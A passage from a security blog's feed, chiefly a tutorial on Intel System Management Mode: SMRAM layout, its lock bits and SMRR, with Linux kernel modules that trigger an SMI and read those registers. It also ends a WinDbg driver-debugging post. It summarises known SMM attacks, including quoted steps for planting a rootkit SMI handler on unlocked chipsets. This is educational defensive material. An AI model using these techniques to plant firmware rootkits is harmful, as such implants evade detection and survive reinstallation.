<code>0x1000</code>. </p><p>By using this information, if you want to find the address of a function in memory for a driver, you can use the following calculation:-</p><p><em><strong>Address in Memory = Starting address of driver + Address in IDA(0x13574) - ImageBase (0x10000)</strong></em></p><p> Let&apos;s check this address in windbg.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2021/06/Screenshot-2021-06-30-at-9.40.16-PM.png" class="kg-image" alt="Remote debugging windows kernel driver(without symbols) using windbg" loading="lazy"><figcaption>Disassembly window in windbg</figcaption></figure><p>You can check that the code is same as we have seen in IDA. </p><p>Other way to check the code in windbg without using disassembly panel is by using following command.</p><pre><code>kd&gt; u my_drv + 0x13574 - 0x10000</code></pre><p>Now, since we know the address, we can set a breakpoint on that address using <code>bp</code> command and continue debugging. In this manner, you can set breakpoint at any address in the driver. After this, you can debug the driver as in other normal cases.</p><p><strong>Finding DriverEntry code on already loaded driver (DriverEntry already executed):</strong></p><p>If you are trying to find the DriverEntry code in windbg on a driver which is already loaded, then there is high chances that the code is not there. Mostly DriverEntry resides in <code>INIT</code> (initialization) section of PE file of driver. In most of the case the <code>INIT</code> section is marked as <code><code>IMAGE_SCN_MEM_DISCARDABLE</code></code> i.e discardable section. This characteristic implies that once the code is executed in memory, throw the section away from memory since that code is not used anymore after initialization. </p><h2 id="few-important-windbg-commands-used-in-kernel-debugging">Few important windbg commands used in kernel debugging</h2><p>We have already covered how to get started with windows driver debugging in case you don&apos;t have the symbols for the driver. In this section, I will cover few basic windbg commands that are used frequently while doing kernel debugging. </p><ul><li>To display symbols for all drivers</li></ul><pre><code>kd&gt; x*!</code></pre><ul><li>To dump header of the driver.</li></ul><pre><code>kd&gt; !dh drv.sys</code></pre><ul><li>To get detailed information about the driver including Imagebase, function list etc.</li></ul><pre><code>kd&gt; lm m my_drv v 
or
kd&gt; !lmi my_drv </code></pre><ul><li>To list down &#xA0;dispatch table (functions address) in a driver (useful in debugging filter drivers)</li></ul><pre><code>kd&gt; !drvobj my_drv 2</code></pre><ul><li>Getting structure of kernel any predefined kernel object.</li></ul><pre><code>kd&gt; dt _eprocess
or 
kd&gt; dt _kthread</code></pre><ul><li>Mapping a memory address to some structure.</li></ul><pre><code>kd&gt; dt _eprocess &lt;address&gt;</code></pre><p></p><p>Rest of the command are same as in usermode debugging. You can checkout the windbg cheet sheet <a href="http://windbg.info/doc/1-common-cmds.html?ref=nixhacker.com">here</a>.</p>]]></content:encoded></item><item><title><![CDATA[Firmware security 3: Digging into System management mode (SMM)]]></title><description><![CDATA[In the third part of the series we are going to discuss System management mode (SMM) and it's security. Moreover, We will try to interact with the SMM from our linux system.]]></description><link>http://nixhacker.com/digging-into-smm/</link><guid isPermaLink="false">63adf451ba93f615aa877791</guid><category><![CDATA[Firmware]]></category><category><![CDATA[Intel architecture]]></category><category><![CDATA[Rootkits]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Fri, 19 Mar 2021 21:48:39 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2021/03/smm_cover.jpg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2021/03/smm_cover.jpg" alt="Firmware security 3: Digging into System management mode (SMM)"><p>Skipping the part 2 of firmware security series, I have decided to jump directly on part 3 where we will learn about SMM (System management mode) and its security.</p><h2 id="game-of-privilege-rings">Game of privilege rings</h2><p>If you have previous experience with OS Internals or security than you must have heard about traditional ring level, this includes ring 0(<em>kernel mode</em>), ring 3(<em>usermode</em>) and all privilege ring(1 and 2) between them. Here, low ring level define more privilege. But in intel architecture(also true for AMD architecture) the privilege ring doesn&apos;t end at ring 0 but goes much lower than that. Below is the representation of known ring level in intel architecture.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2021/03/ring_level.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"><figcaption>Complete privilege ring levels | <a href="https://medium.com/swlh/negative-rings-in-intel-architecture-the-security-threats-youve-probably-never-heard-of-d725a4b6f831?ref=nixhacker.com">Source</a></figcaption></figure><p>From the above ring levels, we are interested in digging into the ring -2 which is SMM. We care about SMM since its more privilege than not only the kernel mode but also hypervisor. A malicious code running with this privilege is OS independent and can survive OS reinstallation or disk wipes. Not only that, in general it&apos;s not possible to detect a malicious code running in SMM from the operating system.</p><h2 id="what-is-system-management-mode-smm-">What is System management mode (SMM)</h2><p>System Management mode (SMM) is a relatively obscure mode on Intel processors, used for low-level hardware control. According to intel&apos;s documentation, SMM is a special-purpose operating mode provided for handling system-wide functions like power management, system hardware control, or proprietary OEM-designed code. It is intended for use only by system firmware, not by applications software or general-purpose system software. The main benefit of SMM is that it offers a distinct and easily isolated processor environment that operates transparently to the operating system or executive and applications. I.E when a processor enters SMM mode, all running tasks in all processors are suspended until the processor exits this mode.</p><h3 id="entering-and-exiting-system-management-mode">Entering and Exiting System Management Mode</h3><p>SMM can be invoked by signalling a <em><strong>System Management Interrupt</strong></em> (SMI). <em>SMI</em> can be generated by Hardware using <em>SMI#</em> pins in processor or by using local or I/O APIC busses. SMI can also be generated from software by writing to certain I/O ports or chipset registers. SMI cannot be masked like normal interrupts. Also, inside SMM all other interrupts are disabled.</p><p>To exit to SMM, cpu use <code>RSM</code> instruction. <code>RSM</code> can only be called from SMM. &#xA0;This instruction causes the processor to reload the saved context of the processor, switch back to protected or real mode, and resume executing the interrupted application or operating system program or task. </p><p><strong>Generating SMI from linux</strong></p><p>If you check your processors PCH/ICH datasheet, you will find that you can generate SMI using Advance Power Management (APM). </p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2021/03/apm.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"><figcaption>APM Registers&#xA0;</figcaption></figure><p><code>APM_CNT</code> is control register present at I/O port <code>0xB2</code>. Writing a byte to <code>APM_CNT</code> will generate a SMI. Let&apos;s try to do that from a linux driver.</p><pre><code class="language-C">
static int my_init(void)
{

	
    uint8_t smm_response  = 0x0;
    printk(KERN_INFO &quot;Hello world.\n&quot;);
    
    //check the initial value recieve from 0xB2 port
	smm_response = inb(0xb2);
	
	printk(KERN_INFO &quot;data recieved from port 0xb2 is %x.\n&quot;, smm_response);
	//write to 0xB2 port to cause SMI
	outb(0x80, 0xb2);
	// Check the respose
	smm_response = inb(0xb2);
	
	printk(KERN_INFO &quot;data recieved after is %x.\n&quot;, smm_response);
	
    
    return  0;
}
   
static void my_exit(void)
{
    printk(KERN_INFO &quot;Goodbye world.\n&quot;);

    return;
}
   
module_init(my_init);
module_exit(my_exit);



MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Shubham Dubey &lt;shubham0d@protonmail.coms&gt;&quot;);
MODULE_DESCRIPTION(&quot;Generate SMI&quot;);
</code></pre><p>Load the driver using <code>insmod</code> and check the debug messages using <code>dmesg</code> command. Did you see any change after the code is executed?</p><p>You will not see any changes in system since the cpu transfer to SMM mode and exited from that quickly without the end user knowing it. </p><p><strong>Check SMI count</strong> - To confirm that our driver is triggering SMI, we can use <code>SMI_COUNT</code> MSR. Let&apos;s modify our code to check if the SMI counter has increased or not.</p><pre><code class="language-C">
#define MSR_SMI_COUNT			0x00000034


static int my_init(void)
{

	
    uint8_t smm_response  = 0x0;
	uint32_t smi_count = 0x0;
    printk(KERN_INFO &quot;Hello world.\n&quot;);
    
    // check smi count
    rdmsrl(MSR_SMI_COUNT, smi_count);
    printk(KERN_INFO &quot;SMI count earlier is %x.\n&quot;, smi_count);
    //check the initial value recieve from 0xB3 port
	smm_response = inb(0xb2);
	
	printk(KERN_INFO &quot;data recieved from port 0xb2 is %x.\n&quot;, smm_response);
	//write to 0xB2 port to cause SMI
	outb(0x80, 0xb2);
	// Check the respose in port 0xB3
	smm_response = inb(0xb2);
	
	printk(KERN_INFO &quot;data recieved after is %x.\n&quot;, smm_response);
	
	rdmsrl(MSR_SMI_COUNT, smi_count);
    printk(KERN_INFO &quot;SMI count later is- %x.\n&quot;, smi_count);
    
    return  0;
}
   
static void my_exit(void)
{
    printk(KERN_INFO &quot;Goodbye world.\n&quot;);

    return;
}
   
module_init(my_init);
module_exit(my_exit);

MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Shubham Dubey &lt;shubham0d@protonmail.coms&gt;&quot;);
MODULE_DESCRIPTION(&quot;SMM interaction&quot;);</code></pre><p>Let load the driver and check the debug messages.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2021/03/smi_counter.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"><figcaption>Debug log after loading driver</figcaption></figure><p>You can check that SMI count has increased after writing to port <code>0xB2</code>. There are many other events that can be trigger from operating system to generate SMI like programming the local APIC or writing to some other ports. You can consult your chipset datasheet to know more about that.</p><h3 id="smram">SMRAM</h3><p>SMM code stays in a special protected memory region called <strong>SMRAM</strong>. This address space contains the SMI handler code and data, this handler code is the first code to execute when SMI is triggered. SMRAM can be locked so that even the privileged software in the protected mode of the CPU cannot access it.</p><p><strong>Structure of SMRAM</strong></p><p>First off, few terms used in context of SMRAM:</p><p><strong>SMBASE</strong>: It is a cpu internal register that contains the base address of SMRAM for a processor.</p><p><strong>SMI Handler code</strong>: This is the first code that get executed on SMI trigger. It is at specific offset from SMBASE.</p><p><strong>State saved area</strong>: When switching to SMM the cpu state is saved on SMM at particular offset from SMBASE. Before exiting from SMM, processor state is restored by loading the saved state from SMRAM back to processor registers.</p><p>The default SMRAM size is <em>64 KBytes</em> . The SMBASE default value at system startup/ hardware reset is <code>0x30000</code>. The processor looks for the first instruction of the SMI handler at the address [SMBASE + <code>0x8000</code>]. It stores the processor&#x2019;s state in the area from [SMBASE + <code>0xFE00</code>] to [SMBASE + <code>0xFFFF</code>]. </p><p>Even the startup SMBASE is fixed, it can be relocated by changing SMBASE register which is present at memory offset [SMBASE+ <code>0xFEF8</code>]. It should be clear that since the SMBASE is inside SMRAM, it can only be modified when in SMM.</p><p>A layout of SMRAM looks like below:</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2021/03/smm_layout.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"><figcaption>Source: opensecuritytraining.info</figcaption></figure><p>Multi-core systems will typically have their SMBASE offset differ by N bytes from each other. For example: Core 0 defines SMBASE as <code>0xA0000</code>, will enter SMI handler at <code>0xA8000</code> &#x2013; Core 1 defines SMBASE as <code>0xA1000</code>, will enter SMI handler at <code>0xA9000</code> etc.</p><p>Some registers in the SMRAM state save area may be read and changed by the SMI handler, with the changed values restored to the processor registers by the RSM instruction. Some register images are read-only, and must not be modified. Below is the mapping of registers in saved state area.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2021/03/saved_state.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"><figcaption>Source: Intel developer&apos;s Manual</figcaption></figure><p>You can see SMBASE register field at offset <code>0x7EF8</code> in above list.</p><p><strong>Finding SMBASE</strong></p><p>In this part we will try to find the possible SMRAM memory location. It can be located anywhere in the 4GB memory (to be precise it will be &lt;TOLUD). SMRAM must relocate at least once after system boot from <code>0x30000</code> to any other memory space.</p><p>For older systems(ICH chipset based) SMRAM is present at atleast one of the following SMM region:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/smm_region_old.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>For newer chipset (PCH one), the SMM region is limited to Compatible and TSEG region.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="http://nixhacker.com/content/images/2021/03/smm_region_new.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"><figcaption>Source processor datasheet</figcaption></figure><p>To keep things recent, we will only discuss the Compatible and TSEG regions. </p><p><strong>Compatible SMRAM space</strong></p><p>Its fixed address space ( <code>0xA0000</code> - <code>0xBFFFF</code>) in physical memory. When compatible SMM space is enabled, SMM-mode processor accesses to this range are routed to physical system memory at this address. Non-SMM-mode processor accesses to this range are considered to be the video buffer area.</p><p>To check if compatible SMRAM is enabled intel processors have <code>G_SMRAME</code> flag present on <em><strong>SMRAMC</strong></em> register. <em>SMRAMC</em> register is present at <em>DRAM controller(0:0:0)</em> at offset <code>0x88</code>. It may differ for your processor, verify it on datasheet.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/smramc.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>Let&apos;s create a linux driver to check if compatible SMRAM is enabled.</p><pre><code class="language-C">
static int my_init(void)
{
	struct pci_dev *dev;
	u8 pci_data;
    printk(KERN_INFO &quot;Hello world.\n&quot;);
    //get pci device
    dev = pci_get_device(0x8086, 0x0a04, NULL);
    if (!dev)
    {
		printk(KERN_INFO &quot;FAILED to get pci device\n&quot;);
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO &quot;Attached to the pci device\n&quot;);
	//Offset 0x88 in DRAM controller
	pci_read_config_byte(dev, 0x88, &amp;pci_data);
	printk(KERN_INFO &quot;SMRAMC data recieved is 0x%x.\n&quot;, pci_data);
	
	
	// Bit 3 in SMRAMC is G_SMRAME
	pci_data = pci_data &gt;&gt; 3;
	pci_data = pci_data &amp; 0x1;
	printk(KERN_INFO &quot;G_SMRAME is set to %x.\n&quot;, pci_data);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}</code></pre><p>The output I received from <code>dmesg</code> after loading the module:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/smramc_g.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>From above, it is confirmed that compatible SMRAM is enabled. We can check the data at memory address <code>0xA0000</code> using chipsec. </p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/chipsec_smram.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p><code>0xFF</code> as bytes confirm the SMRAM presence as SMRAM data is not accessible from the operating system. </p><blockquote>Note: You can also read the physical address from kernel module using <code>ioremap</code> call. </blockquote><pre><code>phys_addr_t comp_smram_phys = 0xA0000; 
void __iomem *mapped = ioremap(comp_smram_phys, 0x10); //reading 10 bytes</code></pre><p><strong>TSEG Space (Top of main memory segment)</strong></p><p>TSEG is a variable address space that is present at address <em>TOLUD-STOLEN</em> (discussed below).</p><p>Before that let check a graphic representation of main memory:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/memory_map-1.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>In the above image between <em>TOLUD</em> and TSEG memory space, <em>IGD</em> and <em>IGGTT</em> combined called <em>STOLEN</em> memory. Hence</p><p><em><strong>TSEG = TOLUD - STOLEN - TSEG_SIZE to TOLUD - STOLEN</strong></em></p><p>Let&apos;s define the <em>TOLUD</em> and <em>STOLEN</em> first:</p><p><strong>TOLUD</strong>: Top of Low Usable DRAM</p><p>TOLUD register is restricted to 4 GB memory (A[31:20]), but the processor can support up to 32 GB, limited by DRAM pins. It is present at DRAM controller at offset 0xBC.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/tolud.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/tolud_cont.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p><strong>STOLEN</strong>: </p><p>STOLEN refer to graphic memory stolen, which is optional and can be 0. STOLEN size can be determined by checking GMS in GGC register which is present at offset <code>0x50</code> on DRAM controller.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/ggc.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>According to GMS bits, you can determine the size of STOLEN memory and subtract it from TOLUD to get the TSEG end address.</p><p>Luckily for PCH processors, you don&apos;t have to manually find the TSEG memory by using &#xA0;TOLUD or STOLEN. There is a register TSEGMB that contains the base address of TSEG memory. </p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/tseg-2.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>In PCH based system <em>STOLEN = DSM size + GSM size</em>.</p><p>For STOLEN memory <em>DSM</em> base and <em>GSM</em> base are determined by <em>BDSM</em> and <em>BGSM</em> registers respectively. The registers are present at DRAM controller at offset <code>0xB0</code> and <code>0xB4</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/stolen2.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>From above data we can conclude that by subtracting TSEG base from <em>BGSM</em> base, we can find the TSEG size. (Note: We are subtracting from BGSM since its lower the BDSM)</p><p>Let&apos;s write a module to get TSEG base and size.</p><pre><code class="language-C">
static int my_init(void)
{
	struct pci_dev *dev;
	u32 pci_data;
	u32 stolen_data;
	u32 tseg_size;
    printk(KERN_INFO &quot;Hello world.\n&quot;);
    //get pci device
    dev = pci_get_device(0x8086, 0x0a04, NULL);
    if (!dev)
    {
		printk(KERN_INFO &quot;FAILED to get pci device\n&quot;);
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO &quot;Attached to the pci device\n&quot;);
	//read dword value from pci deevice
	
	pci_read_config_dword(dev, 0xb8, &amp;pci_data);
	printk(KERN_INFO &quot;TSEGMB register data recieved is 0x%x.\n&quot;, pci_data);
	printk(KERN_INFO &quot;TSEGMB is set to 0x%x.\n&quot;, (pci_data &gt;&gt; 1) &lt;&lt; 1);
	
	
	//check base of GTT stolen memory
	pci_read_config_dword(dev, 0xb4, &amp;stolen_data);
	printk(KERN_INFO &quot;BGSM register data recieved is 0x%x.\n&quot;, stolen_data);
	printk(KERN_INFO &quot;BGSM is set to 0x%x.\n&quot;, (stolen_data &gt;&gt; 1) &lt;&lt; 1);
	
	tseg_size = ((stolen_data &gt;&gt; 1) &lt;&lt; 1) - ((pci_data &gt;&gt; 1) &lt;&lt; 1);
	printk(KERN_INFO &quot;TSEG size is 0x%x.\n&quot;, tseg_size);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}</code></pre><p>The output I received is the following:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/tsegmb.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>Here, The TSEGMB memory address is <code>0xab000000</code> and its size is <code>0x800000</code> (8MB).</p><blockquote>Note: TSEG size is not equal to SMRAM size.</blockquote><p>You can verify if the address is non-readable or not using chipsec like we did it above.</p><blockquote>Note: For PCH based system with no HSEG, if TSEG is enable that implies that Compaible range is also enabled.</blockquote><h3 id="protections-for-smram">Protections &#xA0;for SMRAM</h3><p>The &#xA0;memory controller &#xA0;offers &#xA0;dedicated &#xA0;locks &#xA0;to &#xA0;limit &#xA0;access &#xA0;to SMRAM memory to &#xA0;system &#xA0;firmware (BIOS) only. BIOS &#xA0;after &#xA0;loading &#xA0;the &#xA0;SMM &#xA0; code &#xA0;into &#xA0;SMRAM, can &#xA0; (and &#xA0; should) &#xA0; later &#xA0; &quot;lock &#xA0; down&quot; system configuration &#xA0;in &#xA0;such &#xA0;a &#xA0;way that &#xA0;no further &#xA0;access, from &#xA0; outside &#xA0; the &#xA0; SMM &#xA0; &#xA0;mode, &#xA0; to &#xA0; SMRAM &#xA0; is possible, even for an OS kernel (or a hypervisor).</p><p><strong>D_LCK and D_OPEN</strong></p><p>Intel provide and <code>D_OPEN</code> and <code>D_LCK</code> bits to make SMRAM region non-accessible from outside SMM.</p><p>To help the BIOS configure SMRAM, the chipset provides a means for leaving SMRAM open even when the processor is not in SMM by <code>D_OPEN</code> flag. <code>D_LCK</code> prevents this bit from being asserted. These flags are present on SMRAMC register at bit <code>4</code> and <code>6</code>.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/imageedit_2_2794700912.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>Let&apos;s check the flags in our system:</p><pre><code>
static int my_init(void)
{
	struct pci_dev *dev;
	u8 pci_data;
    printk(KERN_INFO &quot;Hello world.\n&quot;);
    //get pci device
    dev = pci_get_device(0x8086, 0x0a04, NULL);
    if (!dev)
    {
		printk(KERN_INFO &quot;FAILED to get pci device\n&quot;);
		pci_dev_put(dev);
		return -ENODEV;
	}
	printk(KERN_INFO &quot;Attached to the pci device\n&quot;);
	//read dword value from pci deevice
	
	pci_read_config_byte(dev, 0x88, &amp;pci_data);
	printk(KERN_INFO &quot;SMRAMC data recieved is 0x%x.\n&quot;, pci_data);
	

	// D_LCK bit is 4
	// pci_data = pci_data &gt;&gt; 4;
	// D_OPEN bit is 6
	// pci_data = pci_data &gt;&gt; 6;
	printk(KERN_INFO &quot;D_LCK flag is set to %x.\n&quot;, (pci_data &gt;&gt; 4) &amp; 1);
	printk(KERN_INFO &quot;D_OPEN flag is set to %x.\n&quot;, (pci_data &gt;&gt; 6) &amp; 1);

	//cleanup after use
	pci_dev_put(dev);

    
    return  0;
}</code></pre><p>I received the following output:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/d_lck_out.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p><strong>TSEG lock</strong></p><p>Even if <code>D_OPEN</code> is set, still outside SMM application will not be able to access the SMRAM present in TSEG region since TSEG is another protected memory area(protected using SMRRs). But the attacker can try to change the TSEG base to shift SMRAM outside TSEG protected region. <em>TSEGMB</em> register contain a lock to prevent that. I.E when its set, the register became read only.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/imageedit_4_9738948988.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p><strong>SMRR (System Management Range register)</strong></p><p>Another latest(still quite old) and important protection available for SMRAM is <em>SMRR</em> registers which protect SMRAM against multiple types of attacks like SMM cache poisoning, which we will be discussing in next section.</p><p><em>SMRR</em> was introduced for x64 processors. It is used to restrict access to address range defined in SMRR against those range use in <em>MTRR</em> (discussed later) or remapping registers. SMRRs can be modified only when the processor is in SMM.</p><p>If <em>IA32_MTRRCAP[bit 11]</em> is set, the processor supports the SMRR interface to restrict access to a specified memory address range used by SMM. The system-management range registers consist of a pair of MSRs. The <code>IA32_SMRR_PHYSBASE</code> MSR defines the base address for the SMRAM memory range and the memory type used to access it in SMM. The <code>IA32_SMRR_PHYSMASK</code> MSR contains a valid bit and a mask that determines the SMRAM address range protected by the <em>SMRR</em> interface. These MSRs may be written only in SMM; an attempt to write them outside of SMM causes a general-protection exception.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/smrr.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>Lets write a module to check if <em>SMRR</em> is set or not and what physical base it is protecting.</p><pre><code class="language-C">
#define MSR_MTRRcap			0x000000fe

#define IA32_SMRR_PHYBASE		0x1F2
#define IA32_SMRR_PHYMASK		0x1F3
static int my_init(void)
{

	uint64_t smrr_base = 0x0;
	uint64_t smrr_mask = 0x0;
	uint64_t mtrr_cap = 0x0;
	uint8_t smrr_support = 0x0;
    printk(KERN_INFO &quot;Hello world.\n&quot;);
    rdmsrl(MSR_MTRRcap, mtrr_cap);

	// bit 11 SMRR supported
    smrr_support = (mtrr_cap &gt;&gt; 11) &amp; 0x1;
    printk(KERN_INFO &quot;SMRR support is %x.\n&quot;, smrr_support);
    // check SMRRs value
    rdmsrl(IA32_SMRR_PHYBASE, smrr_base);
	rdmsrl(IA32_SMRR_PHYMASK, smrr_mask);
    printk(KERN_INFO &quot;SMRR base is %llx.\n&quot;, (smrr_base &gt;&gt; 8) &lt;&lt; 8);
    printk(KERN_INFO &quot;SMRR mask is %llx.\n&quot;, smrr_mask);

	
    
    return  0;
}</code></pre><p>After loading, I recieved the following output:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/smrr_out.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><blockquote>Note that the base address we received is the base address of TSEG region. It is because SMRR protects TSEG region.</blockquote><p>Another point to note here is that each CPU has it&apos;s SMRR but mostly you will find each SMRR[X] have same base and mast set.</p><h2 id="breaking-security-of-smm">Breaking Security of SMM</h2><p>So far we have covered the basics of SMM and where they are mapped in our physical memory. Now lets check the known attacks on SMM which are found in past by different researchers. All of these attacks are old and fixed in most recent processors, but we are covering them to give you the understanding about SMM security.</p><h3 id="unlocked-smm">Unlocked SMM</h3><p>In older systems (without SMRR) SMM is protected using <code>D_LCK</code> only. There are cases (statically very rare) where vendor forget to set the <code>D_LCK</code> and set the <code>D_OPEN</code> to 1. In these cases SMM space is unlocked and writable from outside SMM. </p><p>There are few proof of concept rootkits called <em>SMBR</em> that leverage this fact to install a new SMI handler that perform malicious activity like network monitoring, data exfiltration etc. Here is decribed steps mentioned in one of the research paper (link on references) related to SMM rootkits.</p><!--kg-card-begin: markdown--><ol>
<li>On a host machine, an attacker makes SMRAM visible from protected mode for reading and writing by setting the D_OPEN bit.</li>
<li>Once D_OPEN is set, the attacker copies the rootkit SMM handler code to the handler portion ofSMRAM as defined by the Intel documentation.</li>
<li>Finally, the attacker clears the D_OPEN bit and sets the D_LCK bit. This has the effect of making SMRAM invisible to everything other than the subverted (rootkit) SMI handler and of locking the SMRAMC register so that it can no longer be modified. The addressing of the SMRAMC register is chipset specific.</li>
</ol>
<!--kg-card-end: markdown--><p>You can watch the whole talk on the topic here:</p><!--kg-card-begin: html--><iframe width="560" height="315" src="https://www.youtube.com/embed/XPI-o3bbl8k" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><!--kg-card-end: html--><h3 id="jumping-from-smi-to-unprotected-region">Jumping from SMI to unprotected region</h3><p>SMI handler code are mostly written by intel but modified further by vendors. There can be time where SMI handler code call/refer code or data of non SMRAM region. This can have catastrophic effect since that region can be controlled by attacker. Few points on this from opensecuritytraining BIOS course (link below):</p><blockquote>ITL found multiple bugs in Intel&apos;s SMM code where it was accessing data outside the protected ranges, which could consequently be attacker controlled (which led to simple &quot;change a function pointer to jump to my code&quot; type attacks, and could lead to buffer overflow attacks)</blockquote><p>You can learn more on this topic from this talk (although the talk is for non security audions but covers lots of interesting use of SMI handler code and issues to look for while writting those):</p><!--kg-card-begin: html--><iframe width="560" height="315" src="https://www.youtube.com/embed/BQajtsy6kp0" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe><!--kg-card-end: html--><p>More than that, vendors are allowed to put complex capabilities in SMI handler code like setting paging, protected mode etc (even more complex stuff). Having such complex code in SMI is always a bad idea. Wrong register setup or memory access can cause a big hole in SMM protection.</p><h3 id="smm-cache-poisioning">SMM Cache poisioning</h3><p>This is a well known attack discovered by Invisible things labs in 2009. It leverages the fact that caching is enabled even in SMM. To understand more about this attack we first need to know how Intel caches a region of memory using MTRR.</p><p><strong>MTRR and memory caching type</strong></p><p>Intel processors provide functionality to set type of caching for a region of memory using few MSR called MTRRs (they are multiple in number). The MSRs are named as <em>IA32_MTRR_PHYSBASEn</em> and <em>IA32_MTRR_PHYSMASKn</em>, having following structure.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/mtrr_structure.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>Type field in <em>MTRR_PHYSBASE</em> can be one of the following:</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/cache_type.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>From all these, the one we are interested in is WriteBack which is set by default for a region in most cases.</p><p><strong>Writeback Caching</strong>: When set for a memory region, read/write are perform from the cache and later write-back into memory. It is used to reduce the bus traffic between processor and memory. In brief: when you read something from the memory with WB set, it gets read from cache line. Similarly, when you write something to that memory, it gets written to the cache line and later written back to memory.</p><p>Before moving forward to attack, let&apos;s write a module to check MTRR status. Intel contain <code>IA32_MTRRCAP</code> MSR that contain info like amount of MTRR in the processor and if SMRR enable etc.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2021/03/ia32_mtrr.jpg" class="kg-image" alt="Firmware security 3: Digging into System management mode (SMM)" loading="lazy"></figure><p>Lets write our code keeping in mind above structure:</p><pre><code>
#define MSR_MTRRcap			0x000000fe

#define IA32_MTRR_PHYBASE0		0x200
#define IA32_MTRR_PHYMASK0		0x201
#define IA32_MTRR_PHYBASE1		0x202
#define IA32_MTRR_PHYMASK1		0x203
static int my_init(void)
{

	uint64_t mtrr_base = 0x0;
	uint64_t mtrr_mask = 0x0;
	uint64_t mtrr_cap = 0x0;
	uint8_t  mtrr_supported = 0x0;
	uint8_t  fix_range_mtrr = 0x0;
	uint8_t  wc_support = 0x0;
	uint8_t smrr_support = 0x0;
    printk(KERN_INFO &quot;Hello world.\n&quot;);
    rdmsrl(MSR_MTRRcap, mtrr_cap);
    // check the defined fields inside IA32_MTRRCAP
    // bit 7:0 MTRR_PHYBASEX can be used
	// bit 8 Fixed Range MTRR are supported
	// bit 10 WC supported
	// bit 11 SMRR supported
	// bit 11 PRMMR supported
